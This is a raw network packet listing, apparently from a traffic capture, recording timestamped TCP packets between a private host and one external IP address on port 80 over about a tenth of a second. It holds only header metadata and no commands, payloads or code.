Oct 31, 2024 01:19:21.966450930 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966481924 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966607094 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966620922 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966634989 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966645956 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966660023 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966675043 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966706991 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966728926 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966744900 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966753006 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966768026 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966773033 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966783047 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966795921 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966799021 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966825008 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966834068 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966842890 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966856956 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966865063 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966917992 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966952085 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966965914 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966980934 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966989040 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.967022896 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.967022896 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.967051029 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.967065096 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.967087030 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.967088938 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.967098951 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.967101097 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.967116117 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.967123032 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.967138052 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.967154980 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.982728958 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039350033 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039391994 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039416075 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039416075 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039441109 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039443970 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039455891 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039463043 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039469957 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039482117 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039491892 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039501905 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039509058 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039520025 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039522886 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039536953 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039535999 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039550066 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039552927 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039566994 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039575100 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039582968 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039596081 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039606094 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039619923 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039639950 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039664030 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039731979 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039751053 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039767981 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039773941 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039798021 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039808035 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039812088 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039823055 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039844036 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039853096 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039860964 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039877892 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039892912 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039907932 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039917946 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039917946 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039917946 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039917946 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039921999 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039937973 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039952040 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039963961 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039963961 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039963961 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.039980888 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.039980888 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040013075 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040019035 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040046930 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040057898 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040086031 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040141106 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040155888 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040172100 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040184021 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040189028 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040199041 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040213108 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040215015 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040262938 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040275097 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040285110 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040301085 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040304899 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040304899 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040317059 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040332079 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040335894 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040348053 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040359020 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040389061 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040390968 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040406942 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040436029 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040461063 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040466070 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040481091 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040503025 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040509939 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040518045 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040529013 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040532112 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040545940 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040545940 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040560961 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040560961 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040575981 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040580034 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040591002 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040608883 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040610075 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040612936 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040633917 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040633917 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040635109 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040647984 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040661097 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040663958 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040671110 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040679932 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040697098 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040704012 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040723085 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040730953 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040736914 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040750980 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040760040 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040765047 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040780067 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040786982 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040812016 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040839911 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040877104 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040930033 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040945053 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040970087 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.040975094 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.040986061 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041003942 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041013002 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041013002 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041018009 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041023970 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041033983 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041049004 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041054010 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041054010 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041064024 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041070938 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041096926 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041115999 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041126013 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041140079 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041155100 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041162014 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041168928 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041181087 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041183949 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041199923 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041199923 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041213989 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041213989 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041232109 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041235924 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041246891 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041250944 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041264057 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041265011 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041285038 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041294098 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041296959 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041307926 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041321993 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041333914 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041359901 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041373014 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041379929 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041408062 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041408062 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041429043 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041441917 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041444063 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041456938 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041465998 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041484118 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041501999 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041599035 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041621923 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041640997 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041640997 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041668892 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041685104 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041703939 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041718960 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041733027 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041750908 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041758060 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041779995 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041781902 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041795969 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041810036 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041817904 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041822910 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041832924 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041841984 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041846037 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041860104 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041861057 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041876078 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041879892 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041888952 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041908979 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.041958094 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041974068 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041987896 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.041997910 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042005062 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042021990 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042027950 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042041063 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042049885 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042057991 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042078018 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042079926 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042093039 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042093992 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042109966 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042124033 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042124033 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042131901 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042133093 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042154074 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042154074 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042166948 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042169094 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042181969 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042192936 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042196989 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042212009 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042220116 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042226076 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042241096 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042244911 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042248011 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042262077 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042277098 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042277098 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042289972 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042301893 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042309999 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042320013 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042325974 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042332888 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042342901 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042355061 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042366028 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042367935 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042382002 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042382956 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042397022 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042409897 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042435884 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042489052 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042504072 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042525053 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042527914 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042540073 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042552948 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042556047 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042566061 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042576075 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042587042 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042589903 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042599916 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042604923 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042618036 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042619944 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042629004 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042632103 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042650938 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042654037 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042665005 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042678118 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042678118 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042694092 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042701960 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042705059 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042722940 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042732954 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042737961 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042749882 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042761087 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042763948 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042778969 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042792082 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042793989 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042809963 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.042819023 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042836905 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.042861938 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043164015 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043184996 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043200016 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043205023 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043214083 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043229103 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043230057 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043245077 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043286085 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043308973 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.043402910 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043427944 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.043442011 CET	80	49998	185.215.113.16	192.168.2.6
